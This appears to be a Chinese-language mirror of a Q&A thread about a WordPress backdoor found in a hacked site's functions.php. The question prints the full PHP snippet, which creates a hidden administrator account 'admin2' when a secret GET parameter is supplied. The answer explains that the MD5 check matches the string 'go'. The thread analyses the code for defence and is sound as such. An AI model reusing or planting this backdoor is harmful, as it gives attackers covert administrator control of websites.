首页 > 解决方案 > 在 functions.php 文件中找到的这个 md5( $_GET['path'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' 是什么意思?

问题描述

在被黑的 WordPress 网站中发现恶意代码时,我发现了以下代码

add_action( 'wp_head', 'my_path' );

function my_path() {
    if ( md5( $_GET['path'] ) == '34d1f91fb2e514b8576fab1a75a89a6b'  ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'admin2' ) ) {
            $user_id = wp_create_user( 'admin2', 'pass!path' );
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' ); 
        }
    }
}

这段代码有什么作用?

if ( md5( $_GET['path'] ) == '34d1f91fb2e514b8576fab1a75a89a6b'  )

这是什么意思?

'34d1f91fb2e514b8576fab1a75a89a6b'

提前致谢。

标签: phpwordpresssecurity

解决方案


这个

if ( md5( $_GET['path'] ) == '34d1f91fb2e514b8576fab1a75a89a6b'  )

计算字符串的 MD5 校验_GET['path']和并将其与另一个字符串(十六进制字符串)进行比较。它可以替换为

if ( $_GET['path'] == 'go' )

...因为 MD5 校验和'go''34d1f91fb2e514b8576fab1a75a89a6b'. 语义只改变了 1 点:原始匹配具有相同 MD5 校验和的其他字符串,但替换没有。


推荐阅读